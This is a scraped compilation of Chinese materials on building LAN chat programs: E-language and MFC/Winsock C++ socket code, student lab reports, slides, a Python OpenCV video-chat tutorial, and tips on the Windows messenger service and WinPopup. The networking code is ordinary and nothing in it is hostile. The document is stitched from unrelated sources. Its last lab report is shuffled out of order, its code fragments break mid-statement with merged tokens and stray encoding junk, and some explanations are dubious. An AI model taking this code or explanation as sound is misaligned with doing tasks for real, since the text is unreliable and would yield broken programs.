=编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。
局域网聊天程序实验报告
局域网聊天程序实验报告本程序是专门为局域网而建立的聊天程序,它功能有限只能用于局域网聊天当中,下面我具体介绍它的功能:(1)主界面:(2)操作方法:(注:必须要装VC++才能够运行本程序)1.首先要在每个机器上都装上我们的聊天程序的服务端2.然后再选择设置里面的建立服务器,这样就可以向群内发送消息了,在发送消息之前,必须要输入接受者姓名,不然消息将不能发送成功.3.如果不知道接受者姓名者,可以选择在线用户来查看局域网内在线的用户.然后选在上面双击该用户,或者在接受者右边的文本框中输入接受者姓名即可向该用户发送消息了.4.退出程序选择设置里面的退出即可.(3)程序简单操作流程:(3)大概通信流程:(5)程序代码:1.建立服务器代码:void CMyNetChatDlg::OnCreathost() //create host{if(m_hSocket!=NULL){closesocket(m_hSocket);m_hSocket=NULL;}if(m_hSocket==NULL){m_hSocket=socket(AF_INET,SOCK_STREAM,0);ASSERT(m_hSocket!=NULL);}UpdateData(TRUE);m_addr.sin_addr.S_un.S_addr=INADDR_ANY;m_addr.sin_family=AF_INET;m_addr.sin_port=htons(52428);int ret=0;ret=bind(m_hSocket,(LPSOCKADDR)&m_addr,sizeof(m_addr));if(ret==SOCKET_ERROR){closesocket(m_hSocket);AfxMessageBox("Bind Error");return ;}ret=listen(m_hSocket,12);if(ret==SOCKET_ERROR){closesocket(m_hSocket);AfxMessageBox("Listen Error");return ;}AfxBeginThread(AcceptThread,NULL);}代码功能就是在整个局域网中建与其它计算机建立连接,使其它计算机能够访问本机上的内容,以及向本机发送消息等功能,其主要原理就是通过建立工作组来完成的.2下面我们来看下发送消息代码:void CMyNetChatDlg::OnSended(){// send message to hostm_showname.GetWindowText(m_name);if(m_name.IsEmpty()){AfxMessageBox("请选择发送用户");return;}strname=GetIP(m_name);if(m_cSocket!=NULL){closesocket(m_cSocket);m_cSocket=NULL;}if(m_cSocket==NULL){m_cSocket=socket(AF_INET,SOCK_STREAM,0);ASSERT(m_cSocket!=NULL);}UpdateData(TRUE);m_caddr.sin_addr.S_un.S_addr=inet_addr(strname);m_caddr.sin_family=AF_INET;m_caddr.sin_port=htons(52428);int ret=0;int caddrlength=sizeof(m_caddr);ret=connect(m_cSocket,(LPSOCKADDR)&m_caddr,caddrlength); if(ret==SOCKET_ERROR){connectFlag=FALSE;int err=WSAGetLastError();if(err==10061)AfxMessageBox(_T("服务器未打开"));return ;}connectFlag=TRUE;if(connectFlag==TRUE){m_send.GetWindowText(m_sendstr);if(m_sendstr.IsEmpty()){AfxMessageBox(_T("不能发空消息!"));return;}CString sendstr;char *sendbuf=NULL;sendstr+=char(changstr.GetLength());sendstr+=changstr;sendstr+=char(m_sendstr.GetLength());sendstr+=m_sendstr;sendbuf=sendstr.GetBuffer(0);sendstr.ReleaseBuffer(-1);int slength;slength=send(m_cSocket,sendbuf,sendstr.GetLength(),0);if(slength!=sendstr.GetLength()||m_cSocket==SOCKET_ERROR){int errs=WSAGetLastError();AfxMessageBox(_T("发送消息失败"));return ;}m_send.SetWindowText("");return ;}AfxMessageBox(_T("请先连接"));}在建立了服务器了就能向HOST内的用户发送消息,在没有建立服务器的前提下是不能向HOST内的用户发送消息.还有如果发送空消息系统也会提示出错的.3.如何查看在线用户看在线用户的方法很简单就是用GetLanActiveComputer();这个函数来完成实现的,另外还可以用sleep()来控制在线用户的数量.以上及是本程序的所有功能及简略代码,由于时间关系,本系统的功能还不够强大,需要进一步改善,不过它基本上能够实现局域网内部聊天.而且在应用领域也比较方便,用户操作起来非常的方便,所以,它的实用性还是很强的,再加强一下它的功能,就基本上完善了.。
局域网即时聊天程序-PPT文档资料
背景介绍
• 随着网路的出现,它在人们的生活中所扮演的角色越来越
多,也越来越重要,人们可以通过这个空间进行网络聊天, 实现彼此沟通,交换信息,甚至网络聊天工具在部分人的 生活中由于传统的电话通讯手段同等重要的趋势。尤其现 在的学校更是如此,单单在课堂里或校园里的交流是远远 不够的,要是学校有聊天系统,那么学生之间或是师生之 间的信息交流会更加频繁、更方便,有利于建立友好的关 系网。 这次设计不仅能实现文本聊天,还能进行语音聊天,语音 聊天是一种最先进的聊天方式,您只要拥有一只麦克风就 完全能够加入进来。你可以无所顾虑无所拘束地进行聊天, 免了文字的虚幻。
文本聊天部分所要完成的功能
• 1)在这个系统中只要在线就可以和所有使用此系统的已经在线的朋友进行聊天, • 并且为不同的朋友提供不同的聊天窗口,也就是说和10个在线人员聊天的话就得有10 • • • • •
个聊天窗口打开。 2)与特定用户之间的聊天窗口中必须提供聊天信息的输入和聊天信息的显示功能。 3)要发送给对方的文字或字符的输入工作要在聊天窗口的输入框中完成。 4)当输入完聊天信息以后进行发送,当发送没有结束时,不能进行新的聊天内容的输 入。一般聊天内容一次不能超过500个字符。 5) 聊天信息要显示在聊天窗口中,显示的内容包括:发送信息、接收信息。 发送信息是指自己发送给对方的信息,即发送内容;接收信息是指来自对方的信息, 这里显示接收到的内容。
• 1)在这个系统中只要在线就可以和所有使用此系统的已经在线的朋友进行聊
•
• • • •Байду номын сангаас• • • •
天, 并且为不同的朋友提供不同的聊天窗口,也就是说和10个在线人员聊天的话 就得有10个聊天窗口打开。 2)与特定用户之间的聊天窗口中必须提供聊天信息的输入和聊天信息的显示 功能。 3)要发送给对方的文字或字符的输入工作要在聊天窗口的输入框中完成。 4)当输入完聊天信息以后进行发送,当发送没有结束时,不能进行新的聊天 内容的输入。一般聊天内容一次不能超过500个字符。 5) 聊天信息要显示在聊天窗口中,显示的内容包括:发送信息、接收信息。 发送信息是指自己发送给对方的信息,即发送内容;接收信息是指来自对方 的信息,这里显示接收到的内容。 6)在聊天窗口以建立的基础上,建立与服务器端的连接。 7)与对方连接以后开始语音聊天。 8)想结束语音聊天时,按结束键就能与对方断开连接,即结束语音聊天。
Python3实现简易局域网视频聊天工具
Python3实现简易局域⽹视频聊天⼯具1.环境操作系统为 Ubuntu 16.04python 3.5opencv-python 3.4.1.15numpy 1.14.5PyAudio 0.2.112. 内容简介本实验实现简易的视频通信⼯具在视频通信的基础上加⼊语⾳⽤户可以选择通信的质量,即画质、停顿等参数⽀持IPv63.安装环境$ sudo pip3 install numpy$ sudo pip3 install opencv_python这⼀步下载了我们需要的opencv-python和numpy两个包。
剩下的PyAudio,由于本虚拟环境的部分问题,我们单独分开下载。
$ sudo apt-get install portaudio19-dev python-all-dev python3-all-dev$ sudo pip3 install pyaudio==0.2.11现在,我们的实验环境就搭好了。
4. 实验原理实验实现了简易的视频通信⼯具,基于 OpenCV 和 PyAudio,使⽤ TCP 协议通信,通信双⽅建⽴双向 CS 连接,双⽅均维护⼀个客户端和⼀个服务器端。
在捕获视频信息后,根据⽤户指定的参数对画⾯做压缩并传输。
实验步骤接下来我们分步骤讲解本实验。
4.1 实现双向 C/S 连接先为双⽅的通信设计 Server 类和 Client类,两个类均继承 threading.Thread,只需要分别实现 __init__、__del__和run⽅法,之后对象调⽤.start()⽅法即可在独⽴线程中执⾏run⽅法中的内容。
⾸先Client类需要存储远端的IP地址和端⼝,⽽Server类需要存储本地服务器监听的端⼝号。
⽤户还应当可以指定通信双⽅使⽤的协议版本,即基于IPv4 还是IPv6 的TCP连接。
因此Server类的初始化需要传⼊两个参数(端⼝、版本),Client类的初始化需要三个参数(远端IP、端⼝、版本)。
局域网内网聊天
局域网内网聊天一点通由于办公室里大多数人的电脑不能上互联网,因此在局域网中不能使用QQ这类聊天软件,而且单位领导又严禁大家使用各种聊天软件。
这一切对于草莓这群“话多”的家伙来说,简直是无法接受。
这次,草莓向果冻下达了最高指示,要他让大家聊个痛快……果冻本想在局域网内安装一款类似于QQ的内网聊天软件,可是一想到被领导发现的后果,他马上打消了这个念头。
由于草莓等人的要求并不是很高,只要能够进行简单的交流就行。
那么,有没有什么办法能够达到既能网内交流又不用安装其他软件的目的呢?聪明的果冻想到了Windows自带的发送消息的命令。
由于办公室内大部分同事使用的都是Windows 2000/XP系统,因此,果冻向草莓等人介绍如何在以Windows 2000/XP系统为主的局域网中进行即时沟通。
果冻要介绍的便是Windows 2000/XP系统提供的信使功能。
果冻提示 Windows 2000/XP系统的用户,在上网的过程中经常会看到一些莫名其妙的弹出窗口,其中的内容也是五花八门的,让不少人以为自己的电脑染上了病毒。
其实,这是Windows系统为用户提供的信使服务。
虽然这项服务让很多人“深恶痛绝”,可也不是全无用处的,尤其是在不能上外网的局域网环境中,它的消息传送功能还是很实用的。
一、启用信使服务在Windows 2000/XP系统中,信使服务在默认状态下是启用的,不过也有些用户禁用了这项服务。
现在,果冻首先要做的便是将电脑中的信使服务重新启用以便局域网内的电脑相互发送消息。
在“运行”对话框内输入“net start messenger”,回车后即可启用信使服务。
如果使用上述方法无法启用信使服务,我们可以在“运行”对话框内输入“services.msc”并回车,进入“服务”窗口,接着在该窗口的服务列表中找到“Messenger”项并双击打开,在弹出的窗口中将启动类型改为“自动”即可(图1)。
图1二、管理自己的昵称要聊天,当然少不了聊天专用的昵称。
局域网中Winpopup的使用技巧
实例14 局域网中Winpopup的使用技巧实现目的玩过BBS或者聊天室的人都知道,在Internet上可以和陌生人聊天,也可以用ICQ与朋友进行交流,甚至用语音聊天都是可以的。
在Internet上使用ICQ、OICQ聊天早已不再是什么新鲜事了,但在Windows 98局域网里进行短信息的传送和接收,也有人想试试吧?在本例,以最简单的Bassline Winpopup 3.30为例,来实现与在Internet上类似的聊天功能。
实现技术Bassline WinPopUp是一个在局域网内进行通讯的工具,通过该工具可以实现在局域网内收发短信息、开聊天室、传送文件等简单功能。
Bassline WinPopUp可以给出当前局域网上的用户状态,可以方便地同在线的用户取得联系,包括发送信息、传送文件和整个文件夹、开聊天室等,对于消息的收发,完全与邮件收发工具类似,包括标准的消息发送、转发、回复、回复全部等。
此外,在线用户如果不希望其他用户打扰,可设置使用自动回复功能或者使用离线功能,这样可以收到其他人发给你的信息,但是却不需要回信,因为在接收信息的同时你的自动回复功能已经发信息过去了。
由于可以显示所有在线用户列表和用户状态,你也根本不需要使用地址簿或其他类似的东西,无论是发送信息给个人还是给工作组的所有成员,都会非常的方便。
如果你是部门主管,可以在线召开网络会议,而所有的将会非常简单。
Bassline WinPopUp可以支持Windows局域网的配置协议,其中包括Microsoft Network,NetBEUI或IPX/SPX,可以传送的短信息长度为1200字节。
对于文件传送,采用TCP/IP 文件传输协议,速度非常快。
而且程序会提供默认的文件保存路径,这样非常便于管理文件,使用效果也非常好。
实现方法1、安装与启动将所得的Bassline WinPopUp软件包解压,然后直接执行Setup文件,根据提示选择默认值安装即可。
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ﻩSOL_SOCKET,
SO_BROADCAST,
ﻩ(char*)&bBroadcast,
ﻩsizeof(BOOL));
绑定端口:
m_addrLocal.sin_family =AF_INET;
ﻩm_addrLocal.sin_addr.s_addr = INADDR_ANY;ﻩ
1.显示自己发送的内容(通过按钮事件完成,代码如下):
CTimetimeNow =CTime::GetCurrentTime();
ﻩ//将时间格式化成(小时:分钟:秒)
CStringstrTime= timeNow.Format(" (%H:%M:%S)");
m_strLog+="自己";
m_strLog+= strTime;
ﻩAF_INET,
ﻩﻩSOCK_DGRAM,
ﻩ0);
(2)用户进行聊天,发送的信息相当于向广播发送数据(主要代码如下):
::sendto(
m_socket,
ﻩm_strData,
ﻩm_strData.GetLength(),
ﻩ0,
ﻩﻩ(sockaddr*)&aபைடு நூலகம்dBroadcast,
ﻩsizeof(SOCKADDR));
组 长:田 洪 涛
小组成员:赵明涛、陈星宇、郭 韬
徐健、程 吉、平远、邹寒
指导教师:胡 鸣
日 期:2011年6月7日
一.实验目的
通过Windows网络编程,编写一个聊天工具实现聊天室的功能,用户进入聊天室就能进行通信。
二.实验原理
计算机网络技术发展至今已经大大超越了人们当初的预想,无论是人们日常的工作还是学习,我们都越来越多的依靠到互联网。各种实时性的聊天娱乐软件也同时诞生,而且为我们的即时通讯带来了众多的方便,比如说大家所熟知的腾讯QQ、微软的MSN、移动的Fetion等,都是做的比较成功的实时聊天工具。随着网络的日益普及,各种聊天工具也层出不穷,但当我们学习了《TCP/IP协议与网络编程》这门课程之后,我们便会觉得,其实要实现简单的网络通讯其实并不难。接下来的课程设计就是针对一个简单的局域网聊天程序,利用MFC为开发工具,实现基本的通讯功能。
{
ﻩif(pHost->h_addr_list[i] == NULL)
ﻩ{
ﻩﻩbreak;
ﻩﻩ}
ﻩif(((in_addr*)pHost->h_addr_list[i])->S_un.S_addr==
addrRemote.sin_addr.S_un.S_addr)
ﻩﻩ{
ﻩﻩﻩreturn0;
ﻩﻩ}
}
局域网聊天简单示例
———————————————————————————————— 作者:
———————————————————————————————— 日期:
ﻩ
Windows网络编程实验报告
局域网聊天室
学 院:数学与计算机学院
课程名称:TCP/IP原理与实现
班 级:网络082班
学 号:0804511081
ﻩ&nLen);
在对话框中显示信息:
CTime timeNow=CTime::GetCurrentTime();
//将时间格式化成(小时:分钟:秒)
CString strTime = timeNow.Format(" (%H:%M:%S)");
ﻩm_strLog +=inet_ntoa(addrRemote.sin_addr);
此程序主要实现多人聊天功能:程序通过广播来实现局域网内部的通信,当局域网内用户运行了此程序(处于在线状态),就相当于登陆了聊天室,与广播255.255.255.255进行连接,并绑定端口8888,当客户发送一个消息时相当于向广播发送一个数据包,广播就接受此消息的数据包,然后广播就向在线的每个用户发送此数据包,从而实现了多人的聊天功能。广播就相当于一个转发站,进行消息的转发。整个程序的主体使用了CSocket类的方法,用UDP协议实现数据包发送、接收,实现了局域网内所有聊天。
如果接收的数据报是本机的则就不在对话框中显示信息,否则就显示其他用户发来的信息;
四.试验测试
软件完成后,小组人员进行测试多人聊天的功能(如下):
A用户发送消息“请问你谁下午有空出去玩?”的前后:
发送前:
发送后:
此时,其他三个用户B、C、D接收到来自A的消息:
ﻩm_strLog += strTime;
ﻩm_strLog +="\r\n";
m_strLog+= buf;
ﻩm_strLog+="\r\n";
ﻩUpdateData(FALSE);
( 5)在显示消息框中,当自己发送消息时,直接在自己电脑里显示在消息框中,没必要通过广播,但是,广播会转发数据报给每个用户,包括自己,此时在自己的机器上就不需要再次显示此内容了。
( 3)广播接收数据报后,再向在线的各个用户发送此数据报;
( 4 )定义了一个套接字处理消息:afx_msgLRESULTOnWinsock();用户通过响应此消息接收数据报,并在自己机器上显示内容(主要代码):
实现接收数据报:
::recvfrom(
ﻩm_socket,
ﻩﻩbuf,
ﻩﻩ256,
0,
ﻩﻩ(sockaddr*)&addrRemote,
三.实验内容
本聊天程序实现工具为VisualC++ 6.0MFC,主要利用其中用于网络编程的CSocket类实现网络通讯功能。
(1)当客户运行此程序,就与广播255.255.255.255进行连接,并绑定端口8888,代码如下:
连接广播:
BOOLbBroadcast=TRUE;
::setsockopt(
m_addrLocal.sin_port =::ntohs(8888);
::bind(m_socket, (sockaddr*)&m_addrLocal, sizeof(SOCKADDR));
本程序是通过UDP协议实现通信功能:
在初始化窗口时,创建UDP套接字:m_socket= ::socket(
m_strLog +="\r\n";
ﻩm_strLog+=m_strData;
ﻩm_strLog+= "\r\n";
m_strData="";
ﻩUpdateData(FALSE);
2.广播转发后就不需要再次显示显示本机发送的信息(实现代码如下):
查找发送数据地址是否为本机的:
for(int i=0;;i++)